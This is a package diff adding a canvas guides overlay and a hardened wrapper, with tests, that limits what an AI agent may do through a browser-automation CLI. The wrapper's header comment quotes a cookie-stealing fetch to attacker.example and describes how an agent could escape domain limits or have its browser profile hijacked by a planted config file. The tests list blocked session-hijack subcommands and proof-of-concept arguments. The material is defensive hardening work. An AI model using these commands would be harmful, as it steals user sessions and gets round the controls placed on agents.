@1agh/maude 0.45.2 → 0.47.0

package/apps/studio/artboard-guides-overlay.tsx

@@ -0,0 +1,270 @@
+/**
+ * @file       artboard-guides-overlay.tsx — feature-1-artboard-kinds-foundation, T4.
+ * @scope      apps/studio/artboard-guides-overlay.tsx
+ * @purpose    Render-only chrome for an artboard's guides/marks — Figma-vocabulary
+ *             generic layout guides (columns/rows/grid, T5) plus a per-kind
+ *             content registry that downstream plans hang kind-specific chrome
+ *             off of (feature-2-print-artboards: bleed/trim/margin/marks;
+ *             feature-3-web-artboards: breakpoint band). Rendered by DCArtboard
+ *             as a world-coord sibling of the `<article>` — same mount pattern
+ *             as `ArtboardActivityOverlay` — so it pans/zooms with the artboard
+ *             for free WITHOUT living inside `.dc-artboard`'s
+ *             `contain:paint`/`content-visibility` subtree (that subtree exists
+ *             to cull/freeze exported artboard CONTENT; guides are never
+ *             exported/screenshotted and must never be culled with it).
+ *
+ * Decorative — `aria-hidden` + `pointer-events:none`, flat divs only (no
+ * filters/blends/gradients — Design Decision 2: WebKit does not
+ * GPU-accelerate those, and this layer sits on top of every artboard on a
+ * dense canvas).
+ */
+
+import type { ReactNode } from 'react';
+
+import type { ArtboardKind } from './canvas-lib.tsx';
+import type { ArtboardPrintProp } from './print/units.ts';
+
+export interface OverlayRect {
+  x: number;
+  y: number;
+  w: number;
+  h: number;
+}
+
+/** One axis of the Figma "columns"/"rows" layout-guide vocabulary. */
+export interface BandGuideDef {
+  count: number;
+  gutter: number;
+  margin: number;
+}
+
+export interface GridGuideDef {
+  /** World-unit spacing between grid lines. */
+  size: number;
+}
+
+/**
+ * Generic layout guides (T5) — versioned design intent (a JSX prop on
+ * DCArtboard), kind-agnostic: any artboard can carry columns/rows/grid
+ * regardless of its `kind`.
+ */
+export interface GuideDefinitions {
+  columns?: BandGuideDef;
+  rows?: BandGuideDef;
+  grid?: GridGuideDef;
+}
+
+/**
+ * Per-user show/hide state (T6) — lives in `_canvas-state/<slug>.view.json`
+ * (existing runtime file), never in the versioned `.meta.json`. A flat bag,
+ * not just a `guides` boolean, so downstream plans can add their own keys
+ * (`bleed`, `breakpoints`, …) without a schema change here.
+ */
+export interface OverlayVisibility {
+  guides?: boolean;
+  [key: string]: boolean | undefined;
+}
+
+export interface KindOverlayProps {
+  rect: OverlayRect;
+  kind: ArtboardKind;
+  guides?: GuideDefinitions;
+  /** feature-2-print-artboards T2/T3 — the artboard's `print` JSX prop, when
+   *  present. Only meaningful to the 'print' kind's registered renderer. */
+  print?: ArtboardPrintProp;
+  visibility: OverlayVisibility;
+}
+
+export type KindOverlayRenderFn = (props: KindOverlayProps) => ReactNode;
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Per-kind content registry. Foundation registers nothing here — the generic
+// guides below already apply to every kind. feature-2-print-artboards /
+// feature-3-web-artboards call `registerKindOverlay` at module load to hang
+// their own kind-specific chrome off the same mount point.
+
+const kindOverlayRegistry = new Map<ArtboardKind, KindOverlayRenderFn>();
+
+/**
+ * Register additional overlay content for one artboard kind. Last call for a
+ * given kind wins — safe to re-call on HMR (module re-eval re-registers).
+ */
+export function registerKindOverlay(kind: ArtboardKind, renderFn: KindOverlayRenderFn): void {
+  kindOverlayRegistry.set(kind, renderFn);
+}
+
+/** Test-only: clear the registry between test files (module-scoped Map would
+ *  otherwise leak registrations across `bun test`'s shared module graph). */
+export function __resetKindOverlayRegistryForTests(): void {
+  kindOverlayRegistry.clear();
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Generic guides (T5) — Figma vocabulary. Columns/rows render as translucent
+// violet bands (Figma's own default), grid renders as red hairlines @ 10%
+// opacity. Chrome-engine constants, not DS tokens — guides are never part of
+// exported artboard content, same reasoning as SnapGuideOverlay's hardcoded
+// magenta/gray.
+const COLUMN_FILL = 'color-mix(in oklab, oklch(62% 0.19 300) 14%, transparent)';
+const GRID_LINE = 'color-mix(in oklab, oklch(55% 0.22 25) 10%, transparent)';
+
+/** Safety bound, not a coverage cap — guards against a pathological
+ *  `grid.size` (e.g. 1) turning into thousands of divs on a large artboard. */
+const MAX_GRID_LINES_PER_AXIS = 400;
+
+/**
+ * Safety bound, not a coverage cap — same reasoning as MAX_GRID_LINES_PER_AXIS,
+ * for the columns/rows `count`. `guides` is an artboard-authored JSX prop, so
+ * it's part of the DDR-054 untrusted-canvas surface — a malicious/poisoned
+ * canvas (peer-pushed under phase-30 branch-scoped multiplayer, or a
+ * prompt-injected agent edit) can set `columns.count` to an arbitrary number
+ * with no server-side validation in between (the value never round-trips
+ * through `setArtboardGuidesOp`'s bounds — it's read directly from React
+ * props at render time). An uncapped loop here mounts one `<div>` per band,
+ * so a huge count is a real client-side DoS (viewer tab freeze/OOM), found
+ * independently by both the security-auditor and ethical-hacker passes on
+ * this feature. 64 comfortably exceeds any real layout-guide use.
+ */
+const MAX_BANDS_PER_AXIS = 64;
+
+function computeBands(def: BandGuideDef, extent: number): Array<{ start: number; size: number }> {
+  const count = Math.min(Math.max(0, Math.floor(def.count)), MAX_BANDS_PER_AXIS);
+  if (count <= 0 || extent <= 0) return [];
+  const usable = extent - def.margin * 2;
+  if (usable <= 0) return [];
+  const bandSize = (usable - def.gutter * Math.max(0, count - 1)) / count;
+  if (bandSize <= 0) return [];
+  const bands: Array<{ start: number; size: number }> = [];
+  for (let i = 0; i < count; i++) {
+    bands.push({ start: def.margin + i * (bandSize + def.gutter), size: bandSize });
+  }
+  return bands;
+}
+
+function gridLinePositions(size: number, extent: number): number[] {
+  if (size < 2 || extent <= 0) return [];
+  const out: number[] = [];
+  for (let pos = size; pos < extent && out.length < MAX_GRID_LINES_PER_AXIS; pos += size) {
+    out.push(pos);
+  }
+  return out;
+}
+
+function GenericGuides({ rect, guides }: { rect: OverlayRect; guides: GuideDefinitions }) {
+  const nodes: ReactNode[] = [];
+  if (guides.columns) {
+    for (const b of computeBands(guides.columns, rect.w)) {
+      nodes.push(
+        <div
+          key={`col-${b.start}`}
+          style={{
+            position: 'absolute',
+            left: b.start,
+            top: 0,
+            width: b.size,
+            height: rect.h,
+            background: COLUMN_FILL,
+          }}
+        />
+      );
+    }
+  }
+  if (guides.rows) {
+    for (const b of computeBands(guides.rows, rect.h)) {
+      nodes.push(
+        <div
+          key={`row-${b.start}`}
+          style={{
+            position: 'absolute',
+            left: 0,
+            top: b.start,
+            width: rect.w,
+            height: b.size,
+            background: COLUMN_FILL,
+          }}
+        />
+      );
+    }
+  }
+  if (guides.grid) {
+    for (const x of gridLinePositions(guides.grid.size, rect.w)) {
+      nodes.push(
+        <div
+          key={`gx-${x}`}
+          style={{
+            position: 'absolute',
+            left: x,
+            top: 0,
+            width: 1,
+            height: rect.h,
+            background: GRID_LINE,
+          }}
+        />
+      );
+    }
+    for (const y of gridLinePositions(guides.grid.size, rect.h)) {
+      nodes.push(
+        <div
+          key={`gy-${y}`}
+          style={{
+            position: 'absolute',
+            left: 0,
+            top: y,
+            width: rect.w,
+            height: 1,
+            background: GRID_LINE,
+          }}
+        />
+      );
+    }
+  }
+  return <>{nodes}</>;
+}
+GenericGuides.displayName = 'GenericGuides';
+
+/**
+ * The mount point DCArtboard renders as a world-coord sibling of its
+ * `<article>`. Renders nothing when there's neither a visible generic guide
+ * definition nor a registered kind-specific renderer — so the common case
+ * (no `guides` prop, no downstream plan loaded yet) costs one map lookup and
+ * no extra DOM.
+ */
+export function ArtboardGuidesOverlay({ rect, kind, guides, print, visibility }: KindOverlayProps) {
+  const KindContent = kindOverlayRegistry.get(kind);
+  // T6 Gotcha — a view.json predating the `overlays` lane has no `guides`
+  // key at all; that absence must resolve to HIDDEN, not shown, so opening
+  // an old canvas doesn't suddenly paint guides nobody asked to see. Only an
+  // explicit `true` (the View-menu toggle) shows them.
+  const showGenericGuides = visibility.guides === true && !!guides;
+  if (!showGenericGuides && !KindContent) return null;
+  return (
+    <div
+      className="dc-artboard-guides"
+      aria-hidden="true"
+      style={{
+        position: 'absolute',
+        left: rect.x,
+        top: rect.y,
+        width: rect.w,
+        height: rect.h,
+        overflow: 'hidden',
+        pointerEvents: 'none',
+      }}
+    >
+      {showGenericGuides && guides ? <GenericGuides rect={rect} guides={guides} /> : null}
+      {/* Kind-specific renderers see the full, ungated `visibility` bag and
+          decide their own show/hide (e.g. print's bleed toggle is a
+          different key than `guides`). */}
+      {KindContent ? (
+        <KindContent
+          rect={rect}
+          kind={kind}
+          guides={guides}
+          print={print}
+          visibility={visibility}
+        />
+      ) : null}
+    </div>
+  );
+}
+ArtboardGuidesOverlay.displayName = 'ArtboardGuidesOverlay';

package/apps/studio/bin/_agent-browser-safe-config.json

@@ -0,0 +1 @@
+{}

package/apps/studio/bin/_agent-browser-safe.mjs

@@ -0,0 +1,228 @@
+#!/usr/bin/env node
+// _agent-browser-safe.mjs — hardened agent-browser wrapper, reached via
+// `maude design agent-browser-safe <subcommand> [args...]` (DDR-062 dispatch;
+// DDR-185 security addendum, round 3).
+//
+// WHY THIS EXISTS: DDR-185 originally added a bare `Bash(agent-browser:*)`
+// allow-list entry so the ACP session wouldn't prompt on the raw
+// `agent-browser eval`/`agent-browser screenshot` calls already documented in
+// `plugins/design/agents/motion-critic.md` and `plugins/design/commands/edit.md`.
+// A security review (ethical-hacker Finding D) found that grant was a
+// zero-confirmation, zero-click session-hijack primitive: `agent-browser`'s
+// OWN bundled onboarding skill (`plugins/flow/skills/agent-browser/SKILL.md`)
+// recommends a PERSISTENT Chrome profile as the default auth strategy for
+// real, cross-origin authenticated sites (GitHub, production, ClickUp).
+//
+// ROUND 3 — a live adversarial re-check of round 2 found TWO further real
+// bypasses, both live-confirmed against the real `agent-browser` binary:
+//
+//   1. **`eval` defeats `--allowed-domains` entirely — a navigation gate is
+//      not a network-egress firewall.** `--allowed-domains` only restricts
+//      `agent-browser open <url>` (a top-level navigation). It installs NO
+//      in-page network policy. Any JS handed to `eval` runs with none of
+//      that restriction: `eval "window.location.href='https://real-site'"`
+//      simply navigates around the gate (live-confirmed: a subsequent `get
+//      url` showed the escaped origin), and even without navigating,
+//      `eval "fetch('https://attacker.example/c?d='+document.cookie,
+//      {mode:'no-cors'})"` beacons out directly — a no-cors fetch is
+//      confirmed to actually leave the machine (`type:'opaque'`,
+//      `status:0`) with no read-back needed to exfiltrate. There is no
+//      argv-level fix for this: `eval` IS arbitrary JS execution in page
+//      context, and network reach is inherent to that, not a separate flag
+//      to strip. Mirrors this DDR's own `find` precedent exactly ("neither
+//      residual is fixable via prefix-matching... cut it, don't patch it")
+//      — **`eval` is REMOVED from `ALLOWED_SUBCOMMANDS`.** The two
+//      documented call sites that used it (`motion-critic.md`, `edit.md`)
+//      revert to raw `agent-browser eval` — which still prompts for
+//      confirmation, exactly like every OTHER un-listed command. This is
+//      the pre-DDR-185 status quo for those two specific calls, not a new
+//      regression.
+//   2. **`./agent-browser.json` project-config auto-discovery bypassed
+//      EVERY CLI-flag and env-var protection in round 1/2, with ZERO flags
+//      or env vars touched at all.** agent-browser's own `--help`
+//      documents a 4-tier config precedence: `~/.agent-browser/config.json`
+//      → **`./agent-browser.json` (project-level, discovered from CWD)** →
+//      env vars → CLI flags. The ACP session's `cwd` is `repoRoot` — the
+//      DDR-054 UNTRUSTED project root. Live-confirmed: a plain
+//      `agent-browser.json` file (`{"profile":"./hijacked-profile"}`)
+//      committed at repo root is auto-discovered and honored on the very
+//      next `agent-browser-safe` call, with no model complicity needed at
+//      all — the file alone does the work. This is a confused-deputy
+//      primitive round 1/2 never considered (they only modeled CLI
+//      flags/env vars as the attack surface). **Fixed**: `--config
+//      <Maude-owned-empty-file>` is now forced on every spawn — per
+//      agent-browser's own docs, `--config <path>` REPLACES the entire
+//      default discovery chain (both the user-level AND project-level
+//      files) with the one file named, so `./agent-browser.json` is never
+//      read. `AGENT_BROWSER_CONFIG` also added to `CLEARED_ENV_KEYS`
+//      (defense in depth against an ambient env override of the config
+//      path itself).
+//
+// The wrapper's own effectiveness is now verified two ways, not one: an
+// argv-parsing unit-test suite (`_agent-browser-safe.test.mjs`), AND this
+// file's own comments record the LIVE runtime behavior each fix was
+// confirmed against — the round-2 verification pass's own finding was that
+// round 1 was validated only at the argv layer, never against what the real
+// binary's OWN config/transport surface actually does.
+//
+// ROUND 2 (superseded in shape, kept for the record): the first hardening
+// pass allowlisted the subcommand but only REJECTED a specific list of
+// known-dangerous flags in the remaining argv. A follow-up found the
+// env-clearing list was a strict subset of the flag reject-list, and a
+// further `--help` read surfaced `-p`/`--provider <name>` (routes the
+// session through a remote cloud browser) which was never in the reject
+// list at all. Both were instances of the same root problem `_curl-local.mjs`
+// diagnoses: enumerating "known-dangerous flags" against a third-party
+// CLI's evolving surface is an unbounded chase. Fixed by replacing the flag
+// reject-list with a FIXED positional-argument arity per subcommand — ANY
+// additional argv token beyond that arity, flag-shaped or not, is rejected.
+// There is no flag concept left for the caller to reach at all, so
+// `--provider`/`-p`, or any future CLI flag neither review round thought to
+// name, cannot recur here by construction.
+//
+//   1. The subcommand (argv[0], REQUIRED to be first) must be one of:
+//      open/screenshot/snapshot/get/wait/close. Nothing that reads
+//      cookies/clipboard/storage, executes arbitrary JS, attaches to an
+//      already-running Chrome, routes through a remote provider,
+//      uploads/downloads files, or spawns the `chat` sub-agent is reachable
+//      through this wrapper at all.
+//   2. The remaining argv must match that subcommand's fixed arity exactly
+//      — no more, no fewer.
+//   3. The real `agent-browser` child is spawned with `--allowed-domains
+//      localhost,127.0.0.1` AND `--config <empty-file>` forced (the latter
+//      closing the project-config discovery chain per round 3, finding 2),
+//      AND every profile/session/policy/proxy/engine/config env var
+//      agent-browser's own `--help` documents explicitly cleared before
+//      spawning — regardless of what the user's own `~/.claude/settings.json`
+//      or shell rc ambiently sets (DDR-144's `settingSources:['user']`
+//      legitimately still reads those for the user's own manual terminal
+//      use; this wrapper's env deletion is what stops that from leaking
+//      into the auto-approving ACP session specifically).
+//
+// Exit: agent-browser's own exit code on success · 2 usage/rejected argv ·
+//       1 other (failed to spawn agent-browser at all).
+
+import { spawnSync } from 'node:child_process';
+import { dirname, join } from 'node:path';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+
+const HERE = dirname(fileURLToPath(import.meta.url));
+// A fixed, empty, valid-JSON config file this wrapper always points
+// agent-browser at — per agent-browser's own docs, `--config <path>`
+// REPLACES its entire default discovery chain (user-level AND
+// project-level `./agent-browser.json`) with the one file named, so a
+// project-root config file (DDR-054 untrusted content) can never be
+// auto-discovered. Must stay valid JSON — agent-browser exits with an
+// error if `--config` points to a missing/invalid file.
+const EMPTY_CONFIG_PATH = join(HERE, '_agent-browser-safe-config.json');
+
+// [minArgs, maxArgs] positional arguments AFTER the subcommand itself.
+// `eval` is deliberately NOT here — see the round-3 header comment: it
+// grants arbitrary JS execution (inherently including network/navigation
+// reach) that no argv-level check can constrain.
+export const SUBCOMMAND_ARITY = Object.freeze({
+  open: [1, 1],
+  screenshot: [0, 1],
+  snapshot: [0, 0],
+  get: [1, 2],
+  wait: [1, 1],
+  close: [0, 0],
+});
+
+export const ALLOWED_SUBCOMMANDS = Object.freeze(Object.keys(SUBCOMMAND_ARITY));
+
+// Env vars agent-browser's own `--help` documents as controlling
+// profile/session/policy/proxy/engine/config behavior — every one of them
+// is an env-var equivalent of a capability this wrapper's subcommand/arity
+// model already refuses to let the caller reach via a flag, so none of them
+// may leak through from the ambient environment either. Cleared (deleted,
+// not empty-string — agent-browser validates an explicit empty session name
+// as invalid rather than unset).
+export const CLEARED_ENV_KEYS = Object.freeze([
+  'AGENT_BROWSER_PROFILE',
+  'AGENT_BROWSER_SESSION_NAME',
+  'AGENT_BROWSER_ACTION_POLICY',
+  'AGENT_BROWSER_CONFIRM_ACTIONS',
+  'AGENT_BROWSER_CONFIRM_INTERACTIVE',
+  'AGENT_BROWSER_AUTO_CONNECT',
+  'AGENT_BROWSER_ENGINE',
+  'AGENT_BROWSER_CONFIG',
+  'AGENT_BROWSER_PROXY',
+  'HTTP_PROXY',
+  'HTTPS_PROXY',
+  'ALL_PROXY',
+  'http_proxy',
+  'https_proxy',
+  'all_proxy',
+]);
+
+/** Returns a block-reason string if this argv should be refused, else null. */
+export function validateArgv(argv) {
+  const sub = argv[0];
+  if (!sub || !ALLOWED_SUBCOMMANDS.includes(sub)) {
+    return `subcommand "${sub ?? ''}" is not on the allow-list (${ALLOWED_SUBCOMMANDS.join(', ')}) — no global flags are permitted before the subcommand`;
+  }
+  const rest = argv.slice(1);
+  const [min, max] = SUBCOMMAND_ARITY[sub];
+  if (rest.length < min || rest.length > max) {
+    const expected = min === max ? `exactly ${min}` : `${min}-${max}`;
+    return `"${sub}" takes ${expected} argument(s), got ${rest.length} — no flags of any kind are accepted here (agent-browser-safe has no flag vocabulary at all; see --help)`;
+  }
+  return null;
+}
+
+const HELP = `agent-browser-safe — hardened agent-browser wrapper (reached via \`maude design agent-browser-safe\`)
+
+Usage:
+  maude design agent-browser-safe <subcommand> [args...]
+
+Allowed subcommands (fixed argument count, NO flags of any kind):
+  open <url>               snapshot                 wait <sel|ms>
+  screenshot [path]         get <thing> [selector]    close
+
+NOTE: "eval" is intentionally NOT supported — it grants arbitrary JS
+execution with network/navigation reach no argv check can constrain. Use
+raw \`agent-browser eval\` (which will prompt for confirmation) instead.
+
+Forces --allowed-domains localhost,127.0.0.1 and --config <empty file>
+(blocking project-level agent-browser.json auto-discovery), regardless of
+any ambient AGENT_BROWSER_*/*_PROXY environment.
+
+Exit: agent-browser's own exit code · 2 usage/rejected argv · 1 other.`;
+
+function main() {
+  const argv = process.argv.slice(2);
+  if (argv.length === 0 || argv[0] === '--help' || argv[0] === '-h') {
+    process.stdout.write(`${HELP}\n`);
+    process.exit(argv.length === 0 ? 2 : 0);
+  }
+  const blockReason = validateArgv(argv);
+  if (blockReason) {
+    process.stderr.write(`agent-browser-safe: ${blockReason}\n`);
+    process.exit(2);
+  }
+  const [sub, ...rest] = argv;
+  const env = { ...process.env };
+  for (const key of CLEARED_ENV_KEYS) delete env[key];
+  env.AGENT_BROWSER_ALLOWED_DOMAINS = 'localhost,127.0.0.1';
+  const result = spawnSync(
+    'agent-browser',
+    ['--config', EMPTY_CONFIG_PATH, sub, ...rest, '--allowed-domains', 'localhost,127.0.0.1'],
+    { stdio: 'inherit', env }
+  );
+  if (result.error) {
+    process.stderr.write(
+      `agent-browser-safe: failed to run agent-browser: ${result.error.message}\n`
+    );
+    process.exit(1);
+  }
+  process.exit(result.status ?? 1);
+}
+
+// Run only when invoked directly (not when imported by the test). This shim
+// runs under real `node` on a real on-disk path (never embedded in
+// `bun --compile`), so the classic argv[1] guard is correct here — see the
+// v0.38.0 self-heal memory.
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
+  main();
+}

package/apps/studio/bin/_agent-browser-safe.test.mjs

@@ -0,0 +1,165 @@
+// DDR-185 security addendum, round 3 — the hardened agent-browser wrapper
+// behind `maude design agent-browser-safe`
+// (apps/studio/bin/_agent-browser-safe.mjs). This suite locks the SECURITY
+// CORE: the closed subcommand allow-list (no cookies/clipboard/storage/
+// connect/chat/eval reachable — `eval` was REMOVED in round 3, see below),
+// the fixed positional-argument ARITY per subcommand with NO flag
+// vocabulary at all, and the `--config`-pin + full env-clearing that closes
+// the project-level `agent-browser.json` auto-discovery bypass a live
+// adversarial pass found round 2 never considered.
+
+import { describe, expect, test } from 'bun:test';
+import { readFileSync } from 'node:fs';
+import {
+  ALLOWED_SUBCOMMANDS,
+  CLEARED_ENV_KEYS,
+  SUBCOMMAND_ARITY,
+  validateArgv,
+} from './_agent-browser-safe.mjs';
+
+describe('validateArgv — subcommand allow-list', () => {
+  for (const sub of ALLOWED_SUBCOMMANDS) {
+    test(`accepts "${sub}" with its minimum expected argument count`, () => {
+      const [min] = SUBCOMMAND_ARITY[sub];
+      const args = Array.from({ length: min }, (_, i) => `arg${i}`);
+      expect(validateArgv([sub, ...args])).toBeNull();
+    });
+  }
+
+  test('round 3: "eval" is REMOVED — arbitrary JS execution can\'t be argv-constrained (ethical-hacker Finding 1)', () => {
+    // Round 2 kept eval on the allow-list; a live adversarial pass proved
+    // eval defeats --allowed-domains entirely (window.location.href escapes
+    // the navigation gate; a no-cors fetch() exfiltrates without even
+    // needing a domain match) — no argv check can close that, so the
+    // capability itself is cut, mirroring this DDR's own `find` precedent.
+    expect(ALLOWED_SUBCOMMANDS).not.toContain('eval');
+    const reason = validateArgv(['eval', '1+1']);
+    expect(reason).toContain('eval');
+  });
+
+  for (const sub of [
+    'cookies',
+    'clipboard',
+    'storage',
+    'connect',
+    'chat',
+    'upload',
+    'auth',
+    'profiles',
+  ]) {
+    test(`rejects the credential/session-hijack-capable subcommand "${sub}" (ethical-hacker Finding D)`, () => {
+      const reason = validateArgv([sub, 'get']);
+      expect(reason).toContain(sub);
+    });
+  }
+
+  test('rejects when no subcommand is given', () => {
+    expect(validateArgv([])).not.toBeNull();
+  });
+});
+
+describe('validateArgv — fixed arity, NO flag vocabulary at all', () => {
+  test('rejects an extra argument beyond the expected arity, whatever it looks like', () => {
+    const reason = validateArgv(['open', 'http://localhost:1', 'extra']);
+    expect(reason).toContain('exactly 1');
+  });
+
+  test('rejects the --provider/-p remote-cloud-browser PoC verbatim (round-2 finding)', () => {
+    expect(
+      validateArgv(['open', 'http://localhost:1', '--provider', 'browserbase'])
+    ).not.toBeNull();
+    expect(validateArgv(['open', '-p', 'browserbase', 'http://localhost:1'])).not.toBeNull();
+  });
+
+  test('rejects the persistent-profile PoC verbatim (still closed under the arity model)', () => {
+    expect(
+      validateArgv(['open', '--profile', 'Default', 'https://github.com/settings/tokens'])
+    ).not.toBeNull();
+  });
+
+  test('rejects the CDP-attach PoC verbatim (still closed under the arity model)', () => {
+    expect(validateArgv(['snapshot', '--cdp', '9222'])).not.toBeNull();
+  });
+
+  test('a positional value that itself starts with "-" is NOT mistaken for a flag (arity-based, not prefix-based)', () => {
+    // agent-browser-safe get "-weird-thing" must still work — the arity
+    // model looks at COUNT, not at whether a token happens to start with a
+    // dash.
+    expect(validateArgv(['get', '-weird-thing'])).toBeNull();
+  });
+
+  test('screenshot accepts 0 or 1 positional args (optional path)', () => {
+    expect(validateArgv(['screenshot'])).toBeNull();
+    expect(validateArgv(['screenshot', '/tmp/out.png'])).toBeNull();
+    expect(validateArgv(['screenshot', '/tmp/out.png', 'extra'])).not.toBeNull();
+  });
+
+  test('get accepts 1 or 2 positional args (thing + optional selector)', () => {
+    expect(validateArgv(['get', 'text'])).toBeNull();
+    expect(validateArgv(['get', 'text', '.selector'])).toBeNull();
+    expect(validateArgv(['get'])).not.toBeNull();
+  });
+
+  test('snapshot and close accept exactly 0 arguments', () => {
+    expect(validateArgv(['snapshot'])).toBeNull();
+    expect(validateArgv(['snapshot', '-i'])).not.toBeNull();
+    expect(validateArgv(['close'])).toBeNull();
+    expect(validateArgv(['close', '--all'])).not.toBeNull();
+  });
+
+  test('an ordinary allowed invocation with no extra args passes', () => {
+    expect(validateArgv(['open', 'http://localhost:3000/'])).toBeNull();
+    expect(validateArgv(['screenshot', '/tmp/out.png'])).toBeNull();
+  });
+});
+
+describe('CLEARED_ENV_KEYS', () => {
+  test('round 3: covers AGENT_BROWSER_CONFIG (defense in depth alongside the --config pin)', () => {
+    expect(CLEARED_ENV_KEYS).toContain('AGENT_BROWSER_CONFIG');
+  });
+
+  test('round 2: covers the three vars a live verification pass found missing from round 1', () => {
+    for (const key of [
+      'AGENT_BROWSER_AUTO_CONNECT',
+      'AGENT_BROWSER_PROXY',
+      'AGENT_BROWSER_ENGINE',
+    ]) {
+      expect(CLEARED_ENV_KEYS).toContain(key);
+    }
+  });
+
+  test('covers all four standard proxy env vars, both cases', () => {
+    for (const key of [
+      'HTTP_PROXY',
+      'HTTPS_PROXY',
+      'ALL_PROXY',
+      'http_proxy',
+      'https_proxy',
+      'all_proxy',
+    ]) {
+      expect(CLEARED_ENV_KEYS).toContain(key);
+    }
+  });
+
+  test('still covers the original round-1 set', () => {
+    for (const key of [
+      'AGENT_BROWSER_PROFILE',
+      'AGENT_BROWSER_SESSION_NAME',
+      'AGENT_BROWSER_ACTION_POLICY',
+      'AGENT_BROWSER_CONFIRM_ACTIONS',
+      'AGENT_BROWSER_CONFIRM_INTERACTIVE',
+    ]) {
+      expect(CLEARED_ENV_KEYS).toContain(key);
+    }
+  });
+});
+
+describe('the forced --config target (round 3: closes ./agent-browser.json auto-discovery)', () => {
+  test('_agent-browser-safe-config.json exists and is valid, empty JSON', () => {
+    // Must stay valid JSON — agent-browser exits with an error if --config
+    // points to a missing/invalid file, which would break every allowed
+    // subcommand, not just fail safe.
+    const raw = readFileSync(new URL('./_agent-browser-safe-config.json', import.meta.url), 'utf8');
+    expect(JSON.parse(raw)).toEqual({});
+  });
+});